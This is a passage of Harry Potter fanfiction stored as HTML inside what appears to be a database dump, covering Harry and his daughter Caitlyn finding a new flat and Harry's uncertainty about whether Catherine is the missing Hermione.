class="MsoPlainText">&quot;Well&#8230;I\nwas thinking, since all this is going on, and since you\'ll be at Hogwarts soon,\nthat we\'d move? Somewhere here, or in Diagon Alley?&quot; Harry looked at his\ndaughter hesitantly. If she wanted to stay where they were, he would, no questions\nasked. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Move\nhere? Where I can do magic all the time?&quot; she asked, a gleam coming into\nher eye. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nactually, Caty Cat, you can\'t do magic away from Hogwarts until you graduate.\nBut here, you\'ll be closer to most of the friends you make there.&quot; Harry\nreplied. \'And I\'ll have a better chance of finding your mum.\' He thought\nsilently.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn mulled\nthe idea over in her head. A lot of information was crossing through her little\nhead, a bit overwhelming, but not overpowering. She realized she\'d be closer to\nBlue and the people she had met last night at the club, and Caitlyn was hoping\nalso that they\'d get to see Oliver Wood again.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay.&quot;\nShe said. &quot;I think moving around here would be fun.&quot; She gave her\nfather a kiss on the cheek and scampered out of the room, presumably to play\nwith Blue.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sat back\nand stared at the doorway. He could understand Caitlyn\'s hesitation to accept\nthe news that her mother in fact might be alive, and the fact also remained\nthat they did not know why she was now living a different life, or how she came\nto be in this life. But he was happy she was willing to take part in his\ndecisions, Harry would never do anything to intentionally make his daughter\nunhappy.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry threw\nback the covers and took a quick shower, then pulled on some jeans and a long\nsleeved dark blue t-shirt. He went down the hall into the kitchen, where Blue\nand Caitlyn were having breakfast, and Ron and Lavender were standing by the\nsink talking quietly. Harry chucked Caitlyn on the chin lightly as he walked\nby, and joined the adults by the counter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Morning.&quot;\nHe said to them. Lavender beamed back at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Good\nmorning!&quot; she said. &quot;Coffee?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nthat\'d be great.&quot; Harry replied. &quot;Ron, do you get the Daily\nProphet?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nRon said, retrieving it from the table. &quot;What do you need that for?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I need\nto look for a flat.&quot; Harry replied. &quot;I thought I\'d take Caty with me,\nsince it\'ll be her place too.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nCaitlyn piped up from the table. &quot;I heard my name.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We\'re\ngoing to go look for a flat together.&quot; Harry told her. &quot;Once you\'re\ndone with breakfast.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay!!&quot;\nshe gobbled up the rest of her cereal and hopped out of the room to finish\ngetting dressed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron turned to\nHarry. &quot;I hope it\'s okay that I gave her that picture of you and\nHermione.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nfine, Ron.&quot; Harry replied. &quot;She recognized Catherine as Hermione\nthough, and I had to tell her about the whole situation.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Lavender\'s\neyes widened and Ron looked shocked. &quot;Wow she certainly got that quick\nthinking that Herm was so famous for huh.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smirked.\n&quot;She sure did. But it\'s okay, she\'s a smart kid, and she\'s accepted it\npretty well. She\'s more excited about moving here than anything.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Where\nare you going to look for a flat?&quot; Lavender asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Probably\ndown in Diagon Alley.&quot; Harry replied. &quot;I know you guys said it\'s over\npopulated now but I don\'t mind too much, and Caty loves being in the center of\nthings, even if she\'s a little shy.&quot; He and Ron laughed and Caitlyn\nreappeared, announcing she was ready. With thanks to Ron, Lavender, and Blue\nwith plans to meet up for dinner that evening, Harry and Caitlyn took Floo\nPowder back to the Leaky Cauldron and walked through the entrance back to\nDiagon Alley.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Let\'s\nsee, there\'s a flat over there, not too bad, rental, well that\'s okay&#8230;&quot;\nHarry muttered to himself. The two of them spent most of that morning picking\nover most of the flats that were listed in the Daily Prophet. By one, Caitlyn\'s\nfeet were starting to drag, and Harry had to admit he was getting rather hungry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;One more\nCaty Cat, and we\'ll have lunch ok?&quot; Harry promised as they stopped in\nfront of a building that looked vaguely familiar to him. He was pushing open\nthe door when a person came walking out from the other side and directly into\nhim.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ow!&quot;\nHarry said, stumbling into the iron railing. He looked up and was extremely\namused, to say the least, to find Catherine staring at him in embarrassment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We\'ve\nreally got to stop bumping into each other like that.&quot; He said\ngood-naturedly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m so\nsorry!&quot; Catherine was mortified. He had to be thinking she was the biggest\nclod by now.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nokay.&quot; Harry assured her. &quot;I\'m not made of glass thank\ngoodness.&quot; He looked up at the apartment building again.&nbsp; &quot;I thought this building looked\nfamiliar, I didn\'t recognize it in the daylight.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\nbrings you by?&quot; Catherine asked, regaining her composure. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh,\nwe\'re looking for a flat, actually.&quot; Harry said. &quot;I\'m moving back\nhere, well, so I can be closer to friends, and Caty wants to live here while\nshe goes to school so&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nsmiled down at Caitlyn, who gave her a half smile in return and tugged on her\nfather\'s hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad can\nwe hurry up and look please? I\'m really hungry.&quot; She pouted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All\nright, all right.&quot; Harry chuckled. He looked back up at Catherine.\n&quot;Would you mind if I dropped by sometime? Are you going to be home this\nafternoon?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She nodded\nslowly. &quot;I should be.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled\nat her. &quot;I\'ll see you around five then okay?&quot; His emerald eyes warmed\nas they looked at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nShe watched as they made their way into the building, Caitlyn pulling hard on\nher father\'s hand. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad I\nthought we were going back to see Blue later!&quot; she said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We are\nCaty. You\'ll get to see him plenty this year, don\'t worry!&quot; Harry said. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;But I\nwant to hang out with him now!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caitlyn\nwhat\'s wrong?&quot; Harry asked. He stopped in his tracks and kneeled down to\nface his daughter. He was surprised to find she had small tears in her eyes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nothing!&quot;\nshe tried to jerk away from him but he held onto her arm.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat&#8230;&quot; Harry said. &quot;Tell me, what\'s wrong?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She stopped\ntrying to squirm away from him. She bit her bottom lip hard so she wouldn\'t\ncry, and took a deep breath.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;If that\nlady turns out to be Mum, will she come and live with us?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\ntaken aback at her question. &quot;Well, I should certainly think so, if she\nwants to that is.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn\nhesitated before asking her next question. &quot;Will you still love me as much\nif that happens?&quot; her tears spilled over onto her cheeks.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry gathered\nhis daughter in his arms and hugged her tightly. &quot;Caty Cat, nothing in\nthis world could possibly make me love you any less.&quot; He held her at arms\nlength and looked at her. &quot;And that\'s a promise.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She nodded and\nhe hugged her again. &quot;Now come on, let\'s go look at that place and see if\nwe like it, then you can pick out where we go for lunch!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A smile\nfinally crossed her face. &quot;Okay!&quot; she said, feeling a lot better.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\nplace was so cool!&quot; Caitlyn said as they left the flat. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nagree.&quot; Harry said. &quot;Nice and roomy. I think it\'d be perfect for\nus.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Definitely\na keeper.&quot; Caitlyn replied. &quot;I like that room with the triangle\nwindows.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nthat\'s going to be MY room.&quot; Harry teased. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No\nway!&quot; Caitlyn argued. &quot;Mine!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh all\nright!&quot; Harry heaved a mock long suffering sigh as his daughter jumped up\nand hugged him. &quot;Ack! If I can\'t breathe I can\'t get this place!&quot;\nHarry said as her arms tightened around him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;When can\nwe move in?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\neager aren\'t you?&quot; Harry asked fondly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I can\'t\nwait to show Blue our new flat!&quot; she said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nlet\'s go have lunch.&quot; Harry said. &quot;I didn\'t get a chance to have\nbreakfast this morning. Then I\'ll drop you back off at Ron and Lavender\'s if\nyou like, and I can get everything signed and moved over.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay!&quot;\nCaitlyn agreed. She picked out a restaurant that overlooked Diagon Alley from a\nsmall balcony on the second floor, and she and Harry had a very enjoyable lunch\ntogether. Around two, he took her back to Ron and Lavender\'s place.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad?&quot;\nshe said as he was about to apparate back out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes\nlove?&quot; he asked, looking down at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nreally sorry about earlier.&quot; Caitlyn replied. &quot;I know I was being a\nbrat and I didn\'t mean to.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat, it\'s okay&#8230;I understand.&quot; Harry replied. She hugged him tightly and\nBlue hollered for her to come to his room, he wanted to show her how to play\nExploding Snap.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Go have\nfun.&quot; Harry said, smiling after his daughter. Ron looked up at him from\nthe doorway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What was\nthat all about?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sighed.\n&quot;She got a little freaked out when we ran into Catherine earlier, seemed\nto think if she is Hermione, that I won\'t love her anymore.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Poor\nkid. Hope you set her straight.&quot; Ron grinned.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry scoffed.\n&quot;Of course I did you prat. I\'ve got to go sign the papers for our flat,\nand then apparate back to our old one and get everything set to go. Shouldn\'t\ntake me too long, I\'ll just use my wand.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Want me\nto go help out?&quot; Ron asked. Harry looked at him in surprise.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nHe said. &quot;That\'d be great.&quot; Ron shouted to Lavender where he was\ngoing and the two men apparated out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Well not\ntoo much romance in that chapter, but we get to have Harry and Catherine meet\nup in the next one! That was all supposed to be one chapter but it was too\nlong, so I made the father/daughter interaction in this one instead. Don\'t know\nwhen the next one will be up but probably soon. R/R and enjoy! :)&nbsp;&nbsp; )</p>\n\n\n\n\n\n\n'),
	(77, 6, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 6</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A/N: I do\napologize for that rather (well what I thought was) boring chapter, but I\nneeded something to transition over with, and I wanted to play up a little more\nfather/daughter stuff.&nbsp; There\'s\ndefinitely some H/C in this chapter for you guys!! Thanks again for reading and\nreviewing, it makes a world of difference in my\nwriting! Oh and before I forget, ~* means flashback.)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron and Harry\nreappeared in Harry\'s Muggle flat. Harry took a moment to excuse himself to use the bathroom, and Ron took this opportunity\nto look around. \'It was definitely sparse and need a woman\'s touch.\' Ron mused,\nlooking over the shelves that contained books and Muggle movies. He\nthoughtfully conjured up a few boxes, they could shrink everything down to put\nthem in there and then resize them in Harry\'s new flat. Ron smiled to himself\nas he reached up high on a shelf and pulled down a picture of him, Harry and\nHermione right after they graduated from Hogwarts. In it, Ron was standing off\nto one side shaking his head at his two friends, who were snuggling even right\nin front of the camera. \'They had been inseparable even then,\' Ron realized.\n\'Harry had it harder than I thought when she disappeared.\'</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What are\nyou doing?&quot; a voice interrupted Ron\'s thoughts. Harry was standing at the\ndoorway looking at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry\nmate.&quot; Ron said, starting to shrink things and put them into the boxes.\nHarry stepped past him and took the picture and looked at it for a long moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That was\na good time wasn\'t it?&quot; Ron asked quietly. Harry nodded silently. He\npressed his lips together and grabbed one of the boxes and started throwing\nthings into it. Ron put a hand on his arm.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sit for\na minute.&quot; Ron commanded, pushing Harry down on the sofa and sitting next\nto him. &quot;Now that we are alone, I want you to tell me more about what\'s\nbeen going on.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sighed.\n&quot;What do you want to know?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well for\none thing, tell me more about this Catherine. I mean, why does she look like\nHermione so much? And I want to know more about what happened between the two\nof you last night.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;&quot;\nHarry began. &quot;Every time I\'m around her, it\'s like I told you last night,\nI get this feeling about her, first it was shock but now, I\nfeel exactly like I did around Hermione all the time.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;But&#8230;&quot;\nRon prodded.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;But I\ncan\'t talk about Hermione to her, and I want to so badly!&quot; Harry burst\nout. &quot;I mean, if she\'s my wife, I want to know!&quot; he stopped for a\nmoment and took a deep breath. &quot;Sorry, I didn\'t mean to yell like\nthat.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s all\nright.&quot; Ron said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I just\nkeep wondering whether or not I should say something to her.&quot; Harry said.\nHe turned and faced Ron. &quot;What do you think?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, I cant\' tell you what to say or do in this situation. I will\nhelp you in any way I can, I promise you that though.&quot; Ron said sincerely.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks.&quot;\nHarry said. &quot;Well we\'d better get cracking.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">As they shrank\nthings and packed quickly, Harry filled Ron in on everything he encountered so\nfar with Catherine, including details on their almost kiss.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why\ndidn\'t you kiss her?&quot; Ron asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry stopped\nwhat he was doing and looked up at Ron. &quot;I really don\'t know. I wanted to,\nbut something stopped me. What if she had gotten freaked out and left, and then\nI would never find out if she\'s Herm.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry&#8230;&quot;\nRon started. &quot;Don\'t take this the wrong way&#8230;but you seem to think that\nCatherine is like a piece of glass.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nyou mean?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;She\nwon\'t break if you kiss her. She won\'t fall apart if you ask her questions\nabout her past.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry pressed\nhis lips together. &quot;You know, you\'re right.&quot; He nodded. &quot;I\'m\nmeeting her later today&#8230;I\'ll ask her some questions about her past, and\nhopefully find out more about what happened.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron nodded,\nhappy that his friend was finally taking charge. They moved more quickly around\nthe rooms now, getting everything they could fit into the boxes. Ron moved into\nHarry\'s living room.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\nthis for?&quot; he shouted to Harry who was in the kitchen.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nHarry asked, coming into the living room. &quot;Oh, that\'s my piano.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Piano?&quot; Ron asked. &quot;Why do you have one of these?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\nat him for a moment. &quot;I play piano in a Muggle bar on the weekend.&quot;\nHe said as matter of factly as possible.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron guffawed\nloudly. &quot;You\'re kidding.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, really.&quot; Harry said. &quot;And I\'ll have you know I\'m quite good too. So don\'t\nlaugh!&quot; he pointed a finger at Ron who looked ready to start rolling on\nthe floor. He choked back his laughter at the threatening look on Harry\'s face\nand shrank the piano down. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ll\ntake that.&quot; Harry said, coming forward, and Ron deposited the piano onto\nHarry\'s palm. The two men worked some more, Ron letting off a loud snigger now\nand then. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So&#8230;&quot;\nHarry said, trying to stop Ron from smirking at him. &quot;Speaking of\nassholes&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey!&quot;\nRon said, looking indignant. &quot;I am not!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Tell me\nmore about what happened to Malfoy after Voldemort was gone.&quot; Harry\ncontinued, ignoring Ron\'s outburst.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron made a\nhorrible face. &quot;That jackass&#8230;I hadn\'t seen him in the longest time up\nuntil yesterday. You know how he lost everything after you defeated Voldemort,\nwell after you left the wizarding world, he just sort\nof reappeared out of nowhere.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry twisted\nhis mouth in disgust. &quot;He deserved every bad thing that came his way after\nthat whole situation. Pretending to be on our side then turning us over to\nVoldemort the way he did. He\'s lucky I didn\'t kill him.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron sneered.\n&quot;He still acts like he\'s Slytherin royalty too. Now that Crabbe and Goyle are who knows where, he\'s not got anyone to protect\nhim. I mean, that was so great when we beat the shit out of him\nyesterday!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Both men\nlaughed heartily at the memory of smashing up Malfoy\'s\nugly pointed face. Surveying the apartment as soon as they were able to regain\ntheir composure, they were both satisfied that nothing was left behind. Harry\nquickly went down to sign release papers for his Muggle flat, and then when he\nreturned the two men apparated back out to Ron\'s.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry checked\nhis watch. &quot;Three thirty.&quot; He said. &quot;I have to get back over to the\nnew flat to sign it over. Hand me the boxes.&quot; Ron gave him the boxes he\nheld and Harry shrank those down to fit into his pocket.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Tell\nCaty Cat I\'ll come back when I\'m done, and we can set up our new place.&quot;\nHarry said to Ron, who nodded and waved him out. Harry reappeared in the office\nof his new flat, and the landwizard had all the\npapers ready for him to sign.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks\nso much.&quot; Harry said to him, shaking his hand. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh, most\ncertainly my pleasure Mr. Potter!&quot; the man bumbled. Harry half smiled, he\nstill hated it when people made a fuss over him. He was happy to escape the\nconfines of the office, and quickly apparated back to\nRon\'s to get Caitlyn and head back to the new flat. Ron and Lavender offered to\ncome over and help him set everything up, and Harry graciously accepted their\noffer. He realized it was getting late and he still wanted to meet with\nCatherine that evening before dinner. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ron!&quot;\nHarry called out, stepping into the kitchen, which surprisingly, Lavender had\nalmost completely set up for him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He went\nout to the top of the building with the kids for a minute.&quot; She said,\nturning around. Harry surveyed the kitchen.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Lav, you\ndid a great job. I can\'t thank you enough.&quot; He said to her. Lavender\nbeamed. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So\nwhat\'s up?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have a\nhuge favor to ask of you guys&#8230;&quot; Harry ran a hand\nthrough his messy hair. &quot;I promised Catherine I\'d meet her at five, and it\'s four fifteen now&#8230;would you guys be willing to watch\nCaty for me for a little while? I promised her we\'d all go to dinner tonight,\nbut I have to do this first&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Lavender\nlooked at him and narrowed her eyes thoughtfully. &quot;What\'s going on with\nyou two?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nshrugged. &quot;I don\'t know. I\'m trying to find out, I guess.&quot; A small\nsmile appeared on his face. Lavender walked over to him and patted his\nshoulder.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I really\nhope everything works out Harry.&quot; Lavender said kindly. &quot;I mean, I\nknow we weren\'t friends at Hogwarts, but once we got out, she and I got to be\npretty close. I\'d love to have her back again too.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks\nLav.&quot; Harry said, hugging her. &quot;And I can\'t tell you how much I\nappreciate having you and Ron around again. I mean, I\'ve only been back a day\nand you two have bent over backwards to help me and Caty adjust.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nwe\'ve missed you a lot Harry. And if there\'s a chance that this girl IS\nHermione, I want you to go for it!&quot; Lavender said. She pushed him towards\nthe door. &quot;Go get yourself ready!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry grinned\nand disappeared into the bedroom that he and Ron had set back up. He showered\nquickly and pulled on a pair of dark blue pants and a sky blue shirt. He tried\nto tame down his messy raven colored locks, but they\nwere as stubborn as they ever were.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron had come\nback to the flat with the kids by the time Harry finished getting ready. He\nwalked back into the kitchen, where he watched in amusement as Blue and Caitlyn\nboth hopped on one foot, trying to outdo one another.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ntwo&#8230;&quot; Harry said as he grabbed his daughter around her middle and scooped\nher up. &quot;Are completely goofy.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad!!&quot;\nshe squealed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hah! I\nwon!&quot; Blue shouted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No you\ndidn\'t!&quot; Caitlyn argued. &quot;We have to start over,\nI didn\'t stop on my own!&quot;</p>\n\n<p class="MsoPlainText">She wiggled\nout of Harry\'s arms and pushed Blue into the other room. &quot;We\'ll do it in\nhere where no one will bother us!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\nat Ron and Lavender who both 